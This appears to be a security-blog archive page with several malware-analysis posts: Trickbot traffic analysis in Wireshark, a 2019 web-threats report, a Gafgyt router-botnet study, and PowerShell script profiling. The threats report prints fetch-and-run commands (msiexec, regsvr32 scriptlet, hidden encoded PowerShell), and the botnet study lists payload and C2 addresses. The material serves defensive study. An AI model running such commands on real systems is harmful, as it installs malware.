An HTTP request to 144.91.69[.]195 returned a Windows executable file. This is the initial Windows executable for Trickbot. You can follow the HTTP stream for this HTTP request and find indicators this is an executable file as shown in Figure 8 and Figure 9. You can extract the executable file from the pcap as shown in Figure 10.

Figure 8: Following the HTTP stream for the HTTP request to 144.91.69[.]195.

Figure 9: Indicators the returned file is a Windows executable or DLL file.

Figure 10: Exporting the Windows executable from the pcap.

Post infection traffic initially consists of HTTPS/SSL/TLS traffic over TCP port 443, 447, or 449 and an IP address check by the infected Windows host. In this infection, shortly after the HTTP request for the Trickbot executable, we can see several attempted TCP connections over port 443 to different IP addresses before the successful TCP connection to 187.58.56[.]26 over TCP port 449. If you use your basic+ filter, you can see these attempted connections as shown in Figure 11 and Figure 12.

Figure 11: Attempted TCP connections over port 443 by the infected Windows host.

Figure 12: Scrolling down to see more TCP connections over port 443 before a successful connection to 187.58.56[.]26 over TCP port 449.

The HTTPS/SSL/TLS traffic to various IP addresses over TCP port 447 and TCP port 449 has unusual certificate data. We can review the certificate issuer by filtering on ssl.handshake.type == 11 when using Wireshark 2.x or tls.handshake.type == 11 when using Wireshark 3.x. Then go to the frame details section and expand the information, finding your way to the certificate issuer data as seen in Figure 13 and Figure 14.

Figure 13: Filtering for the certificate data in the HTTPS/SSL/TLS traffic, then expanding lines the frame details for the first result under TCP port 449.

Figure 14: Drilling down to the certificate issuer data on the first result over TCP port 449.

In Figure 14, we see the following certificate issuer data used in HTTPS/SSL/TLS traffic to 187.58.56[.]26 over TCP port 449:

  • id-at-countryName=AU
  • id-at-stateOrProvinceName=Some-State
  • id-at-organizationName=Internet Widgits Pty Ltd

The state or province name (Some-State) and the organization name (Internet Widgits Pty Ltd) are not used for legitimate HTTPS/SSL/TLS traffic. This is an indicator of malicious traffic, and this type of unusual certificate issuer data is not limited to Trickbot. What does a normal certificate issuer look like in legitimate HTTPS/SSL/TLS traffic? If we look at earlier traffic to Microsoft domains at 72.21.81.200 over TCP port 443, we find the following as seen in Figure 15.

  • id-at-countryName=US
  • id-at-stateOrProvinceName=Washington
  • id-at-localityName=Redmond
  • id-at-organizationName=Microsoft Corporation
  • id-at-organizationUnitName=Microsoft IT
  • id-at-commonName=Microsoft IT TLS CA 2

Figure 15: Certificate data from legitimate HTTPS traffic to a Microsoft domain.

The Trickbot-infected Windows host will check its IP address using a number of different IP address checking sites. These sites are not malicious, and the traffic is not inherently malicious. However, this type of IP address check is common with Trickbot and other families of malware. Various legitimate IP address checking services used by Trickbot include:

  • api.ip[.]sb
  • checkip.amazonaws[.]com
  • icanhazip[.]com
  • ident[.]me
  • ip.anysrc[.]net
  • ipecho[.]net
  • ipinfo[.]io
  • myexternalip[.]com
  • wtfismyip[.]com

Again, an IP address check by itself is not malicious. However, this type of activity combined with other network traffic can provide indicators of an infection, like we see in this case.

Figure 16: IP address check by the infected Windows host, right after HTTPS/SSL/TLS traffic over TCP port 449. Not inherently malicious, but this is part of a Trickbot infection.

A Trickbot infection currently generates HTTP traffic over TCP port 8082 this traffic sends information from the infected host like system information and passwords from the browser cache and email clients. This information is sent from the infected host to command and control servers used by Trickbot.

To review this traffic, use the following Wireshark filter:

http.request and tcp.port eq 8082

This reveals the following HTTP requests as seen in Figure 17:

  • 170.238.117[.]187 port 8082 - 170.238.117[.]187 - POST
    /ono19/BACHMANN-BTO-PC_W617601.AC3B679F4A22738281E6D7B0C5946
    E42/81/
  • 170.238.117[.]187 port 8082 - 170.238.117[.]187 - POST
    /ono19/BACHMANN-BTO-PC_W617601.AC3B679F4A22738281E6D7B0C5946
    E42/83/
  • 170.238.117[.]187 port 8082 - 170.238.117[.]187 - POST
    /ono19/BACHMANN-BTO-PC_W617601.AC3B679F4A22738281E6D7B0C5946
    E42/81/
  • 170.238.117[.]187 port 8082 - 170.238.117[.]187:8082 - POST
    /ono19/BACHMANN-BTO-PC_W617601.AC3B679F4A22738281E6D7B0C5946
    E42/81/
  • 170.238.117[.]187 port 8082 - 170.238.117[.]187:8082 - POST
    /ono19/BACHMANN-BTO-PC_W617601.AC3B679F4A22738281E6D7B0C5946
    E42/90
  • 170.238.117[.]187 port 8082 - 170.238.117[.]187:8082 - POST
    /ono19/BACHMANN-BTO-PC_W617601.AC3B679F4A22738281E6D7B0C5946
    E42/90

Figure 17: HTTP traffic over TCP port 8082 caused by Trickbot.

HTTP POST requests ending in 81 send cached password data from web browsers, email clients, and other applications. HTTP POST requests ending in 83 send form data submitted by applications like web browsers. We can find system information sent through HTTP POST requests ending in 90. Follow the TCP or HTTP streams for any of these HTTP POST requests to review data stolen by this infection.

Figure 18: Login credentials stolen by Trickbot from the Chrome web browser. This data was sent by the Trickbot-infected host using HTTP traffic over TCP port 8082.

Figure 19: System data sent by a Trickbot-infected host using HTTP traffic over TCP port 8082. It starts with a list of running processes.

Figure 20: More system data sent by a Trickbot-infected host using HTTP traffic over TCP port 8082. This is later from the same HTTP stream that started in Figure 19.

Trickbot sends more Windows executable files over HTTP GET requests ending in .png. These follow-up Trickbot executables are used to infect a vulnerable domain controller (DC) when the infected Windows host is a client in an Active Directory environment.

You can find these URLs in the pcap by using the following Wireshark filter:

     http.request and ip contains .png

Figure 21: Filtering to find follow-up Trickbot EXE files sent using URLs ending with .png.

Follow the TCP or HTTP stream in each of the three requests as shown in Figure 21. You should see indicators of windows executable files similar to what we saw in Figure 9. However, in this case, the HTTP response headers identify the returned file as image/png even though it clearly is a Windows executable or DLL file.

Figure 22: Windows executable sent through URL ending in .png.

You can export these files from Wireshark, confirm they are Windows executable files, and get the SHA256 file hashes as we covered earlier in this tutorial.

Trickbot Distributed Through Other Malware

Trickbot is frequently distributed through other malware. Trickbot is commonly seen as follow-up malware to Emotet infections, but we have also seen it as follow-up malware from IcedID and Ursnif infections

Since Emotet frequently distributes Trickbot, lets review an Emotet with Trickbot infection in September 2019 documented here. We already covered Emotet with Trickbot infections last year in this Palo Alto Networks blog post, so this tutorial will focus on the Trickbot activity.


Figure 23: Simplified flow chart for Emotet with Trickbot activity.

Download the pcap from this page. The pcap is contained in a password-protected zip archive named 2019-09-25-Emotet-infection-with-Trickbot-in-AD-environment.pcap.zip. Extract the pcap from the zip archive using the password infected and open it in Wireshark. Use your basic filter to review the web-based infection traffic as shown in Figure 24.

Figure 24: Filtering on web traffic in an Emotet+Trickbot infection.

Experienced analysts can usually identify the Emotet-generated traffic and the Trickbot-generated traffic. Post-infection Emotet activity consists HTTP traffic with encoded data returned by the server. This is distinctly different than post-infection Trickbot activity which generally relies on HTTPS/SSL/TLS traffic for command and control communications. Figure 25 points out the different infection traffic between Emotet and Trickbot for this specific infection.

Figure 25: The differences in Emotet and Trickbot traffic.

This infection happened in an Active Directory environment with 10.9.25.102 as the infected Windows client and 10.9.25.9 as the DC. Later in the traffic, we see the DC exhibit signs of Trickbot infection as shown in Figure 26.

Figure 26: Trickbot activity on the DC.

How did the infection move from client to DC? Trickbot uses a version of the EternalBlue exploit to move laterally using Microsoft’s SMB protocol. In this case, the infected Windows client sent information several times over TCP port 445 to the DC at 10.9.25.9, which then retrieved a Trickbot executable from 185.98.87[.]185/wredneg2.png. Use the basic+ filter to see the SYN segments for the traffic between the client at 10.9.25.102 and the DC at 10.9.25.9 right before the DC calls out to 185.98.87[.]185 as shown in Figure 27

Figure 27: Finding traffic from the client at 10.9.25.102) to the DC at 10.9.25.9 (shown in grey) before the DC retrieved a Trickbot EXE from 196.98.87[.]185/wredneg2.png.

Follow one of the TCP streams, for example the line with a source as 10.9.25.102 over TCP port 49321 and destination as 10.9.35.9 over TCP port 445. This is highly unusual traffic for a client to send to a DC, so it is likely related to the EternalBlue exploit. See Figure 28 for an example of this traffic

Figure 28: Example of the unusual traffic from a client to DC over TCP port 445, possibly related to an EternalBlue-based exploit.

Other than this unusual SMB traffic and the DC getting infected, any Trickbot-specific activity in this pcap is remarkably similar to our previous example.

Conclusion

This tutorial provided tips for examining Windows infections with Trickbot malware by reviewing two pcaps from September 2019. More pcaps with recent examples of Trickbot activity can be found at malware-traffic-analysis.net.

For more help with Wireshark, see our previous tutorials:

 

Web-Based Threats: First Half 2019

Posted on by Fang Liu

Executive Summary

Our Unit 42 research team routinely evaluates the data from our Email Link Analysis (ELINK) system. In examining the data we collect, which includes URLs extracted from emails or submitted by API, we can identify patterns and trends which helps us discern prevalent web threats. This blog is the fifth installment in a series of posts tracking web-based threats over time, specifically, statistics pertaining to malicious URLs, domains, exploit kits, vulnerabilities, and phishing scams.

We observed a significant decrease in the activity of the Fallout exploit kit in the first quarter of 2019 while at the same time observing an increase in activity of the Kaixin exploit kit in the second quarter. Kaixin is primarily observed hosted in China and with the increased popularity of Kaixin activities, our data showed China as hosting the largest proportion of malware domains for the first time since we have been collecting this data.

Servers in the US continues to be the most voluminous in terms of hosting phishing domains, which are often disguised as legitimate websites to obtain sensitive information. Popular service providers for cloud based services (e.g., OneDrive, Office 365 and Google drive) are still the most often imitated by phishing webpages.

The statistics of the URLs presented in this blog are from ELINK system, which is a subset of all the URLs covered by PANDB and WildFire.

Malicious URLs and Domains

Malicious URLs

Based on the data from our ELINK system, we observed a substantial reduction of malicious URLs in Q1. Percentage-wise, total malicious URLs dropped 61% from the previous quarter. However, there was a major shift in Q2, with the number of malicious URLs returning to a similar level as Q4 of 2018. The main reason for the drastic shifts is the decline of Fallout exploit kit activity in Q1 and the increase of Kaixin exploit kit activity in Q2. More details are shown in Figure 1 below.

Figure 1. Malicious URLs from 2018 Q1 to 2019 Q2

Malicious Domains

We extract the domains hosting malicious URLs to keep track of trends at the domain level. We observed a 22% decline from Q4 of 2018 to Q1 of 2019 in the number of malicious domains. Similarly to malicious URLs, the number of domains hosting malicious URLs in Q2 of 2019 grew significantly, with a 90% increase from Q1 of 2019. More details are shown in Figure 2 below.

Figure 2. Malicious domains from 2018 Q1 to 2019 Q2

We also track the geographic locations of these malicious domains to provide information about where the malicious domains are most often hosted. This can potentially be a useful facet for malicious websites classification. It is not surprising to see that China, the United States, and Russia continue to be the top three countries hosting malicious domains in Q2 of 2019, as they have been the top three since we started publishing this report on web threats. The United States hosted the most malicious URLs until Q1 of 2019 but China overtook the United States in Q2 of 2019 due to the recent popularity of the Kaixin exploit kit. Russia has alternated between second and third place since Q1 of 2018. Compared to the top three other countries observed hosting malicious URLs and domains make up a relatively small percentage.

Figure 3. Malicious domains geolocation changes from 2018 Q1 to 2019 Q2

Vulnerabilities

The most popular vulnerabilities that attackers leverage in web-based attacks have not changed significantly since 2018. One trend we have noticed is that older vulnerabilities (e.g., CVE-2014-6332) are being phased out in favor of newer vulnerabilities (e.g., CVE-2018-8174). Compared to the older ones, new vulnerabilities are less likely to be patched on target systems.

Figure 4. Changes of Top CVEs triggered from 2018 Q1 to 2019 Q2

Below is the overview of the vulnerabilities that we observed were commonly exploited in 2019:

CVE-2008-4844: Use-after-free vulnerability in the CRecordInstance::TransferToDestination function in mshtml.dll in Microsoft Internet Explorer 5.01, 6, 6 SP1, and 7 allows remote attackers to execute arbitrary code via DSO bindings involving (1) an XML Island, (2) XML DSOs, or (3) Tabular Data Control (TDC) in a crafted HTML or XML document, as demonstrated by nested SPAN or MARQUEE elements, and exploited in the wild in December 2008.

CVE-2009-0075：Microsoft Internet Explorer 7 does not properly handle errors during attempted access to deleted objects, which allows remote attackers to execute arbitrary code via a crafted HTML document, related to CFunctionPointer and the appending of document objects, aka “Uninitialized Memory Corruption Vulnerability.”

CVE-2010-0806：Use-after-free vulnerability in the Peer Objects component (aka iepeers.dll) in Microsoft Internet Explorer 6, 6 SP1, and 7 allows remote attackers to execute arbitrary code via vectors involving access to an invalid pointer after the deletion of an object, as exploited in the wild in March 2010, aka “Uninitialized Memory Corruption Vulnerability.”

CVE-2012-1889：Microsoft XML Core Services 3.0, 4.0, 5.0, and 6.0 accesses uninitialized memory locations, which allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site.

CVE-2014-6332：OleAut32.dll in OLE in Microsoft Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, and Windows RT Gold and 8.1 allows remote attackers to execute arbitrary code via a crafted web site, as demonstrated by an array-redimensioning attempt that triggers improper handling of a size value in the SafeArrayDimen function, aka “Windows OLE Automation Array Remote Code Execution Vulnerability.”

CVE-2016-0189：The MicrosoftJScript 5.8 and VBScript 5.7 and 5.8 engines, as used in Internet Explorer 9 through 11 and other products, allow remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka “Scripting Engine Memory Corruption Vulnerability,” a different vulnerability than CVE-2016-0187.

CVE-2018-8174：A remote code execution vulnerability exists in the way that the VBScript engine handles objects in memory, aka “Windows VBScript Engine Remote Code Execution Vulnerability.” This affects Windows 7, Windows Server 2012 R2, Windows RT 8.1, Windows Server 2008, Windows Server 2012, Windows 8.1, Windows Server 2016, Windows Server 2008 R2, Windows 10, Windows 10 Servers.

Malware Behaviors

We observed malware authors tended to use built-in system programs (e.g., PowerShell, msiexec, rundll32, regsvr32, etc.) to execute malicious code after exploiting web-based vulnerabilities. As these programs are built into targeted systems, they enable attackers to install and execute malware in manners not directly involving malicious PE files. This technique helps malware authors potentially evade sandboxes and AV system. Examples of these more attacks are:

  • Malware can use msiexec (Windows Installer) to install a MSI package, which can include an executable file.
    > msiexec /i http://[hostname]/[path1]/[path2]/wco.msi
  • Malware can use "Windows Script Components" to run a script, which can execute system commands.
    > regsvr32 /u /s /i:http://[hostname]/1.sct scrobj.dll
  • Malware can use PowerShell to run an obfuscated PowerShell script.
    > powershell.exe -w hidden -noni -enc
    WwBSAGUAZgBdAC4AQQBzAHMAZQBtAGIAbAB5AC
    4ARwBlAHQAVAB5AHAAZQAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZ
    wBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABTAHQAcgBpAG4A...

Malicious Websites Visits

In previous sections, we have summarized the behaviors of the URLs we have crawled and analyzed. Beside proactively analyzing websites and blocking detected malicious urls, we also block visits to malicious websites based on these websites’ web content when their URLs have never been analyzed by us before. The figure below presents the scaled number of blocked visits to new malicious websites from August 2018 to June 2019. Compared to Q4 of 2018, where the most common malicious websites that were visited/blocked by are with Angler Exploit Kit, in the first half-year of 2019, the exploit kits we observed were more diverse with more activities from Kaixin, Rig and Novidade.

Figure 5. Number of visits to malicious websites from 201808 to 201906

Phishing URLs and Domains

Phishing URLs

Since phishing detection was introduced in ELINK at the end of Q3 of 2018, ELINK has detected around 430,000 credential harvesting phishing URLs from emails and API submissions. The largest number of detections occurred in 2018 Q4 and we saw a decline in Q1 of 2019, but a comeback in Q2.

Figure 6. Phishing URLs Since 2018 Q4

Phishing Domains

The number of domains hosting phishing pages follows the same pattern of phishing URLs, except that the number of domains hosting phishing pages has a smaller variance from Q4 of 2018 to Q2 of 2019.

Figure 7. Phishing domains since 2018 Q4

We tracked the locations where the phishing domains are hosted as well. The United States continues to be the overriding country where phishing domains are hosted in Q2 of 2019. Over 40% of all phishing domains are hosted in the US. The Netherlands was ranked #2 over the last year but was overtaken by Germany in Q2 of 2019. France also grew fast and reached the same number of domains as Germany in Q2. Details are in Figure 8 below.

By comparing the distribution of phishing domains with that of malware, we find that attackers prefer hosting malware in China and Russia. The United States, however, is more popular for hosting phishing domains, with over 100 times as many domains hosted compared to Russia or China.

Figure 8. Geolocation distributions of phishing domains

Imitation Target

For each of the phishing URLs detected, we identify the industry that is mimicked by phishing page. In Figure 9 we show how these break down across the past three quarters. The Technology industry (e.g. Microsoft, Apple, Google) continues to be the most popularly imitated, making up over 60% of all phishing URLs. Compared with Q4 of 2018, logistics (e.g., DHL) overtakes banking and financial industries and ranks #2 in Q2 of 2019. Gaming (e,g, battle.net) and telecom (e.g., AT&T) became less popular in 2019 while we saw more imitation of Linkedin and Facebook websites this year.

Figure 9. Industries mimicked by Phishing

Phishing Sites Visits

Similar to malicious websites visits, we also track the trend of how many new phishing websites are visited/blocked each month from October 2018 to June 2019. The figure below presents the statistics of the blocked visits to new phishing websites, which our ELINK system had not already analyzed.

Compared to 2018, we see two spikes of visiting phishing websites in March 2019 and June 2019. The spikes are contributed mostly by users visiting free giveaway phishing scams. They contributed 25% of all phishing visits in March and over 30% of all phishing visits in June 2019. However, from the URLs we have analyzed, less than 0.2% of the phishing URLs are free giveaway phishing scams. One possible explanation is that users tend to visit free giveaway phishing websites much more than the phishing websites mimicking top tech companies, although these fake tech companies’ websites are much more widespread.

Another interesting finding is that, from Q4 of 2018 to Q2 of 2019, the visits of fake tech websites have dropped from 25% to 16%. However, the visits of free giveaway phishing websites have increased from 5% to 26% of all phishing visits, while the number of free giveaway phishing urls we see in ELINK system has not changed very much.

Figure 10. Number of visits to phishing websites from 201810 to 201906

Conclusion

Looking at the trend of the first half-year of 2019, we see a big reduction of both malware and phishing in Q1, followed by an increase in Q2. The United States remains the top hosting country/region for malicious and phishing domains.

Our ELINK system still observes 10-year-old vulnerabilities being exploited in the wild. However, the majority of the vulnerabilities observed were discovered within the last 5 years. WildFire and PanDB both have full coverage of these malicious URLs and samples.

Compared to malicious content, phishing is more popular for attackers. It is getting harder to compromise browsers or operating systems with software or system vulnerabilities. Compared to a system or a browser exploit, credential harvesting via phishing attacks may be more effective for an adversary to complete their objective. WildFire and PANDB both have full coverage of these phishing URLs.

Home & Small Office Wireless Routers Exploited to Attack Gaming Servers

Posted on by Asher Davila

Executive Summary

In September 2019, during the proactive IoT threat-hunting process conducted daily by the Unit 42 (formerly Zingbox security research) team, we discovered an updated Gafgyt variant attempting to infect IoT devices; specifically small office/home wireless routers of known commercial brands like Zyxel, Huawei, and Realtek. This Gafgyt variant is a competing botnet to the JenX botnet, which also uses remote code execution exploits to gain access and recruit routers into botnets to attack gaming servers - most notably those running the Valve Source engine - and cause a Denial of Service (DoS). This variant also competes against similar botnets, which we have found are frequently sold on Instagram. According to Shodan scans, there are more than 32,000 WiFi routers potentially vulnerable to these exploits around the world. Additionally, it abuses one more vulnerability than JenX does:

Targeted IoT Devices – Wi-Fi SOHO Routers

Starting in 2016, we’ve observed that wireless routers are one of the most common IoT devices in organizations across industries, making them targets for IoT botnets, degrading the production network and the reputation of the IP addresses of the affected company. Additionally, botnets gain access to IoT devices by using exploits instead of typical dictionary attacks (in which the botnet attempts to log in to the device via unsecured services such as telnet). This helps the botnet spread more easily through IoT devices even if administrators have disabled unsecured services and applied strong login passwords.

Gafgyt is a botnet that was uncovered in 2014 and has become popular for launching large-scale DDoS (distributed denial-of-service) attacks. Since then, many variants have evolved and targeted different types of devices in different industries. As it is known, there is a strong link between botnets and game servers. In the past, a similar variant called JenX was disclosed by Radware, which abuses of CVE-2017-17215 and CVE-2014-8361, which are present in the WiFi routers Huawei HG532 and Realtek RTL81XX respectively.

Our team uncovered an updated variant of Gafgyt malware (SHA256:676813ee73d382c08765a75204be8bab6bea730ff0073de10765091a8decdf07) derived from JenX variant, and after analyzing the sample, we identified that it targets three wireless router models (one more than the original JenX malware):

· Zyxel P660HN-T1A - Added in this variant.

· Huawei HG532 - Originally present in JenX

· Realtek RTL81XX - Originally present in JenX

It uses three “scanners” that attempt to exploit known remote code execution vulnerabilities present on the routers mentioned above. These scanners replace the typical dictionary attack commonly found in other IoT botnets.

Figure 1. Scanner functions found in the sample

Although previous Gafgyt variants have been exploiting vulnerabilities on wireless routers, this variant combines the next three specific exploits into a single instance:

· CVE-2017-18368 – ZYXEL P660HN-T1A

· CVE-2017-17215 – Huawei HG532

· CVE-2014-8361 – Realtek RTL81XX Chipset

The exploits were crafted to work as binary droppers, which pull the corresponding binary from a malicious server depending on the type of device it is trying to infect.

Exploit #1: CVE-2017-18368 – ZYXEL P660HN-T1A

The first exploit abuses a remote command injection on Zyxel P660HN wireless routers. This exploit was not previously used by its predecessor variant of JenX. The Zyxel P660HN-T1A distributed by TrueOnline has a command injection vulnerability in the remote system log forwarding function, which can be accessed by an unauthenticated user. The vulnerability is in the ViewLog.asp page and can be exploited through the remote_host parameter, as shown below.

 

The payload is inside the zyxelscanner_scanner_init() function:

Figure 2. Zyxel exploit found in zyxelscanner_scanner_init()

Exploit 2: CVE-2017-17215 - Huawei HG532

The second exploit abuses a remote code execution found on HG532 routers. An attacker can send malicious packets to TCP port 37215 to launch attacks. A successful exploit can lead to the remote execution of arbitrary code.

It’s possible to find the exploit in the huaweiscanner_scanner_init() function:

Figure 3. Huawei exploit found on huaweiscanner_scanner_init()

Exploit #3: CVE-2014-8361 – Realtek RTL81XX Chipset

This exploit consists of a serious flaw disclosed in 2014 in some Realtek routers that can lead to remote code execution. The miniigd SOAP service, implemented in Realtek SDK, allows remote attackers to execute arbitrary code via a crafted NewInternalClient request, shown below.

This third exploit can be found inside of the realtekscanner_scanner_init() function:

Figure 4. Realtek exploit found on realtekscanner_scanner_init()

Infection

This JenX variant uses the scanner functions mentioned previously to find machines to infect. Then, depending on the type of device it infects, it makes them download either an ARM7 or MIPS binary using wget, which is a computer program that pulls content from web servers.

Figure 5. Binary dropping – 185.172.110[.]224/mips and 185.172.110[.]224/arm7

Once the malware is running on a compromised device, it connects to a C2 server, which is the same as the binary dropper server, and sends the device information to join the botnet:

Figure 6. Connecting to a C2 server at 185.172.110[.]224 on TCP port 993

To join the botnet, the infected device sends some information about itself to the C2 server, such as its IP address and architecture. If no name is passed as an argument to the malware, it names it Unknown. Then, the C2 server replies with a PING command:

Figure 7. Assigning a name to the device to join the botnet

Figure 7. C2 response

Once the device joins the botnet, it starts receiving commands to perform various types of DoS attacks. These are explained in the following section.

DoS Attack Options

This Gafgyt variant can perform different types of DoS attacks simultaneously depending on the commands received from the C2 server. The main() function of the malware calls another function called processCmd() to process the command and initiate a corresponding attack. The following are some of the important attack options we identified:

· HTTP: It calls the SendHTTP() function to start an HTTP flooding attack. The function receives six parameters to perform the attack: http method, target host, port, file path, time to end, and iterations. Additionally, it randomly uses one of the User-Agents defined in the program to perform the attack.

· HTTPHex: Similar to HTTP, it calls the SendHTTPHex() function. This function requires the same parameters as the SendHTTP() function but instead of using a regular file path (like /index.html), it uses a garbage hexadecimal array to consume more resources on the server in an effort to exhaust all its resources.

· HTTPCF: This is an attack against services secured by Cloudflare.

· KILLER & KILLATTK: This option kills competing botnets that might already be in the currently infected device.

· VSE: This attack contains a payload to attack game servers running the Valve Source Engine.

Figure 8. Most notable commands present in this Gafgyt variant

The Gaming Industry Is Still the Target

As previously described, the VSE command starts an attack against gaming servers running the Valve Source engine. This engine runs games such as Half-Life and Team Fortress 2 among others. Note that this is not an attack on the Valve corporation itself because anyone can run a server for these games on their own network. It is an attack on the servers. The following is the payload used to attack these servers:

The payload is decoded as follows:

Figure 9. Decoded TSource Engine Query payload

This payload is widely used to cause a Distributed reflection Denial of Service (DrDoS), which involves multiple victim machines that unwittingly participate in a DDoS attack. The Source Engine Query is part of routine communications between clients and game servers using Valve software protocols. Requests to victim host machines are redirected, or reflected, from the victim hosts to the target. As a consequence, they also elicit an amplified amount of attack traffic, causing a DoS on the target host.

In addition, using the rest of DoS attack options, attackers are targeting other servers hosting widely played games such as Fortnite.

Social Networks as Malware Marketplaces

One of the attacks found in this sample looks for other competing botnets on the same device and tries to kill them so this will be the only botnet in which the device participates. To accomplish this, it looks for certain keywords and binary names present in other IoT botnet variants. They are divided into two sets of bin_names and bin_strings:

Figure 10. Binary names and substrings present in other IoT botnets

An interesting string that we were able to identify was chinese family, that is related to its predecessor JenX, which was distributed by the San Calvicie hacker group targeting servers hosting the game Grand Theft Auto: San Andreas. The JenX variant prints the string gosh that chinese family at the other table sure ate a lot.

Many of the strings were related to other IoT botnets such as Hakai, Miori, Satori, and the infamous Mirai. Some other strings are related to botnet builds that correspond to Instagram usernames.

Our research team contacted them using fake profiles and found that they are selling botnets in their Instagram profiles for low prices. They offered us a “spot” in their servers from $8 to $150 USD. A “spot” means that a person can pay them to add a set of IP addresses against which their already-working botnets will launch a DoS attack. They also offered us the source code for botnets at a wide range of prices depending on our budget and need. To note, Unit 42 has contacted the Instagram team and alerted them of these malicious profiles. Also, Unit 42 has reported the malicious websites they are using to manage their subscriptions to their botnets.

Figure 11. Instagram accounts selling botnets

Figure 12. Instagram account selling botnets against Fortnite

Figure 13. Instagram story of a malicious user

Some of the users have their own websites to manage their botnets subscriptions:

Figure 14. Login to the website

Figure 15. Dashboard to hire botnets

Figure 16. Highest prices called VIP spots

Conclusion

Our team found updated Gafgyt samples (derived from JenX variant) using exploits that abuse known vulnerabilities (some of which are more than 5 years old) in IoT devices to gain control and make them part of massive botnets that targets gaming servers, mainly for sabotage and revenge purposes. Wireless routers are widely used in all industries, making them common targets of these types of attacks and we’re constantly looking for new malware against which we can protect our customers. The diversity of hosts attacked by IoT botnets is wider than before and gaming servers have become a popular target. Likewise, common malware marketplaces used to be more underground like the dark web and underground forums, but now malware is being sold on social networks. Malware samples and DoS attack codes are easily available to anybody, and they can launch massive attacks for a few dollars without much if any previous technical knowledge. In short, an increase of IoT botnets sold on Instagram + low cost + RCE (remote code execution) exploits + the presence of wireless routers across all industries means that IoT devices are at increased risk of being recruited into botnets.

This formula shows why every type of industry must be aware of IoT security and implement measures to prevent devices on their network from getting compromised and degrading business continuity.

Indicators of Compromise

Original JenX sample

MD5: fb93601f8d4e0228276edff1c6fe635d

SHA256: 04463cd1a961f7cd1b77fe6c9e9f5e18b34633f303949a0bb07282dedcd8e9dc

Updated JenX Sample

MD5: f1c099d65bf94e009f5e65238caac468

SHA256: 676813ee73d382c08765a75204be8bab6bea730ff0073de10765091a8decdf07

 

Infrastructure

185.172.110[.]224:993

URLs

185.172.110[.]224/arm7

185.172.110[.]224/mips

User-Agents used in this sample for HTTP attacks

Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1

Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko)
Chrome/19.0.1084.56 Safari/536.5

Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko)
Chrome/20.0.1132.47 Safari/536.11

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML,
like Gecko) Version/5.1.7 Safari/534.57.2

Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML,
like Gecko) Chrome/20.0.1132.47 Safari/536.11

In addition to the user agents listed above, Gafgyt botnet variants use the User-Agent: Hello-World and User-Agent: Ankit to send the exploit requests in the scanner modules.

Practical Behavioral Profiling of PowerShell Scripts through Static Analysis (Part 3)

Posted on by Jeff White

Executive Summary

This 3-part blog series will focus on a practical approach to static analysis of PowerShell scripts and developing a platform-independent Python script to carry out this task. This is Part 3 of the series, but you can read Part 1 and Part  2 to get caught up.

In this final blog, I’ll walk through running the profiling script on samples and discuss how to interpret the output. Further, I’ll talk about a few observations I made along the way after going through building a script for static analysis, cover some ways in which I think the script can be leveraged by an organization, and then finally wrap up with providing the PowerShellProfiler.py script that has been discussed throughout this blog.

Introduction

For my testing, I used a sample set of around 5,000 PowerShell scripts that I manually classified - roughly 3,000 Benign, 2,000 Malicious PowerShell scripts. I then started to identify behaviors contained within for profiling, along with script characteristics or other features that could be used as a guide to adjust the scoring for behaviors. By using this approach to create a baseline, I was able to familiarize myself with common techniques and low-hanging fruit that I then incorporated into the profiling script. This allowed me to focus the bulk of my subsequent analysis time on the samples which fell below the malicious target score threshold of “6.0” to figure out what, if anything, could be learned from them to further enhance the profiling process.

Using PowerShellProfiler.py

First off, the profiling script can be retrieved from the Palo Alto Networks Unit42 GitHub. Inside you’ll find PowerShellProfiler.py.

To use PowerShellProfiler.py, simply provide a file as input by using the “-f” flag and it will produce output similar to the below.

The structure of the output is as follows:

Most of the fields are self-explanatory and the output is kept very simple for quick review. The “Proposed Risk Rating” field is derived from the gradient scale discussed in the first blog of this series and just offers guidance to the analyst as to what the risk may be at first glance. The “Score” field is an aggregate of the scores (positive and negative) seen in the “Behaviors” field found at the end of the output. Some behaviors will provide additional context, such as types of obfuscation and known malware families which can be seen in the example above.

Optionally, there is a debug flag (“-d”) that can be used to print debugging information which is useful when trying to see how the script was modified or review unraveled content. It simply prints out all of the content it discovered post-normalization and de-obfuscation, so it’s a good way to identify areas where you can look for new techniques for hiding code that need to be accounted for.

Stepping through Obfuscation

So what does this look like in action?

Using the file with the SHA256 hash of
“1b987ba4983d98a4c2776c8afb5aebbe418cdea1a7d4960c548fb947d404e4b2” from above, you can see two behaviors in the original content before anything else is processed. There are multiple dotNET methods related to Stream objects that it uses to deflate a Base64 string and then execute it. The keywords “Convert”, “FromBase64String”, and “Text.Encoding” trigger the flag for the “Compression” behavior and then “Invoke-Expression” triggers the Script Execution behavior.

Figure 9. Original PowerShell script

Once the script deflates the content, it will begin the processing looping back over to normalize, de-obfuscate, and unravel any additional content.

Figure 10. Decompressed script content

You can see by the obfuscation that it’s heavily utilizing the format operator replacement technique to hide strings. It’s also utilizing a number of string replacement functions which it will also attempt to run during processing. What we’re left with from the profiling scripts perspective is shown below.

Figure 11. PowerShell script with obfuscation removed

The remaining behaviors can be seen here. The keyword “downloadstring” triggers the “Downloader” behavior, “Start-Process” for “Starts Process” behavior, and finally “$env:username” for the “Enumeration” behavior.

The last two behaviors focus more on the structure of the content instead of a specific keyword combination. For the meta-behavior “One Liner”, it flags due to the original file being entirely on one line while the “Known Malware: Veil Stream” behavior is based on the following two lines found in the original PowerShell script:

These were identified through previous research and can be seen in the Veil Framework on GitHub for their PowerShell payload generation.

As the score is far above the target threshold of 6.0, it scores the file as likely Malicious.

